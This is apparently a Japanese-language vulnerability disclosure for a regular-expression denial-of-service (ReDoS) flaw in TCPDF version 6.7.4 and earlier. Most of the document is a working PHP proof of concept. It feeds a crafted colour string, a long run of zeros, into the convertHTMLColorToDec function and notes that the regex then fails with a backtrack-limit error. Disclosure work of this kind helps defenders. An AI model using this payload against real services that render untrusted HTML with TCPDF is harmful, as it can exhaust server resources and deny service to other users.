正規表現サービス拒否(ReDoS)
TCPDF <= 6.7.4
TCPDFがHTMLカラーを解析する際に、細工されたペイロードが含まれています。
TCPDFバージョン6.7.4以下は、細工されたカラーが含まれる信頼できないHTMLページを解析する際に、ReDoS(正規表現サービス拒否)の脆弱性があります。
<?php
require_once('../tcpdf.php');
$test = new TCPDF_COLORS();
$ref = "none";
$test -> convertHTMLColorToDec('["t"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!]',$ref);
?>
注: 脆弱性のあるコード行の後に preg_last_error() で確認すると、正規表現は PREG_BACKTRACK_LIMIT_ERROR で終了します。